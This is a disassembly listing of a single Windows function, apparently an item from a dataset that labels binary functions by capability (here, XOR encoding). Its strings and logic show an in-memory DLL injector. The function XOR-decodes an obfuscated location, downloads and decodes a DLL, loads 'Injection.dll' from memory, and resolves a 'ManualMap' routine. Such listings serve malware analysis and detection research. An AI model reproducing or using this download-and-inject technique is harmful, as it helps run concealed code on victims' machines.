Function at 0x140004220
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x68]
sub rsp, 0x140
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140070040]
xor rax, rsp
mov qword [rbp + 0x20], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
lea r8d, [r12 + 0x29]
lea rdx, str.Called_Carbon::Injection::LoadInjection__
lea rcx, [rsp + 0x40]
call fcn.1400051f0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400042bd
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400042b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400049f4
call fcn.14003b170
movups xmm0, xmmword [0x14005d238]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x14005d248]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [str._867__86w_n_5_]
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x14005d268]
movsd qword [rsp + 0x70], xmm0
movzx eax, byte [0x14005d270]
mov byte [rsp + 0x78], al
mov r8d, r12d
cmp dword [0x140070008], 2
jl 0x14000444d
movdqa xmm5, xmmword [0x1400656e0]
movdqa xmm4, xmmword [0x1400657f0]
movdqa xmm6, xmmword [0x140065710]
movdqa xmm0, xmmword [0x140065790]
movdqa xmmword [rbp], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140065770]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140065770]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140004340
cmp r8d, 0x39
jge 0x140004493
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x140004460
mov rdx, qword [0x1400717b8]
lea rax, [rsp + 0x40]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], r12b
jne 0x1400044a6
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, rcx
jb 0x140004a35
lea r9, [0x1400717a8]
cmp qword [0x1400717c0], 0xf
cmova r9, qword [0x1400717a8]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rbp - 0x28]
call fcn.140005570
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rax
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x40]
call fcn.140002530
nop
mov r14, qword [rbp - 0x40]
cmp r14, qword [rbp - 0x38]
jne 0x14000455b
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
mov r8d, 0x25
lea rdx, str.Failed_to_download_and_decode_the_DLL
lea rcx, [rsp + 0x40]
call fcn.1400051f0
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.140026030
xor bl, bl
jmp 0x140004985
mov rcx, r14
call fcn.140003d00
mov r15, rax
test rax, rax
jne 0x1400045a5
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
lea r8d, [rax + 0x28]
lea rdx, str.Failed_to_load_Injection.dll_from_memory
lea rcx, [rsp + 0x40]
call fcn.1400051f0
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.140026030
xor bl, bl
jmp 0x140004985
lea r9, [rbp + 0x15]
mov r8, r15
movabs r13, 0xcccccccccccccccd
nop word [rax + rax]
dec r9
mov rax, r13
mul r8
shr rdx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8, rdx
test rdx, rdx
jne 0x1400045c0
lea r8, [rbp + 0x15]
mov rdx, r9
lea rcx, [rbp - 0x80]
call fcn.140005730
nop
mov r8, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
sub rax, r8
lea rsi, str.DLL_loaded_at:
cmp rax, 0xf
jb 0x140004693
lea rax, [r8 + 0xf]
mov qword [rbp - 0x70], rax
lea rbx, [rbp - 0x80]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x80]
lea rax, [0x14005d1bf]
cmp rax, rbx
jbe 0x140004652
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x140004652
cmp rbx, rsi
ja 0x14000464a
mov rdi, r12
jmp 0x140004657
mov rdi, rbx
sub rdi, rsi
jmp 0x140004657
mov edi, 0xf
inc r8
lea rcx, [rbx + 0xf]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0xf
sub r8, rdi
lea rdx, [rsi + 0xf]
add rdx, rdi
lea rcx, [rbx + rdi]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x80]
jmp 0x1400046af
mov qword [rsp + 0x28], socket
mov qword [rsp + 0x20], rsi
mov edx, 0xf
lea rcx, [rbp - 0x80]
call fcn.140005860
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
psrldq xmm0, 8
movq rdx, xmm0
cmp rdx, 0xf
jbe 0x14000470b
inc rdx
movq rcx, xmm1
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004705
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004705
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003b170
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140004749
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004744
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004744
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003b170
lea rcx, [r15 + 0x1080]
test rcx, rcx
jne 0x1400047ec
lea rdx, str.Failed_to_find_ManualMap_function
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004e50
lea rdx, [0x140005020]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
mov r8d, 0x21
lea rdx, str.Failed_to_find_ManualMap_function
lea rcx, [rsp + 0x40]
call fcn.1400051f0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400047e5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400047e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003b170
xor bl, bl
jmp 0x140004985
mov qword [0x140071588], rcx
lea r9, [rbp + 0x15]
nop word [rax + rax]
dec r9
mov rax, r13
mul rcx
shr rdx, 3
movzx eax, dl
shl al, 2
lea r8d, [rax + rdx]
add r8b, r8b
sub cl, r8b
add cl, 0x30
mov byte [r9], cl
mov rcx, rdx
test rdx, rdx
jne 0x140004800
lea r8, [rbp + 0x15]
mov rdx, r9
lea rcx, [rbp - 0x60]
call fcn.140005730
nop
mov r8, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
sub rax, r8
mov edi, 0x25
lea r15, str.ManualMap_function_found_at_address:
cmp rax, rdi
jb 0x1400048d3
lea rax, [r8 + 0x25]
mov qword [rbp - 0x50], rax
lea rbx, [rbp - 0x60]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x60]
lea rax, [0x14005d20d]
cmp rax, rbx
jbe 0x140004897
lea rax, [rbx + r8]
cmp r15, rax
ja 0x140004897
cmp rbx, r15
ja 0x14000488f
mov rsi, r12
jmp 0x14000489a
mov rsi, rbx
sub rsi, r15
jmp 0x14000489a
mov rsi, rdi
inc r8
lea rcx, [rbx + 0x25]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
sub rdi, rsi
lea rdx, [r15 + 0x25]
add rdx, rsi
lea rcx, [rbx + rsi]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x60]
jmp 0x1400048e9
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r15
mov rdx, rdi
lea rcx, [rbp - 0x60]
call fcn.140005860
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
psrldq xmm0, 8
movq rdx, xmm0
cmp rdx, 0xf
jbe 0x140004945
inc rdx
movq rcx, xmm1
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000493f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000493f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003b170
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140004983
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000497e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000497e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003b170
mov bl, 1
test r14, r14
je 0x1400049c2
mov rdx, qword [rbp - 0x30]
sub rdx, r14
mov rax, r14
cmp rdx, 0x1000
jb 0x1400049b9
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400049b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14003b170
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140004a00
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400049fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400049fb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003b170
movzx eax, bl
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.14003ac30
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400022b0
int3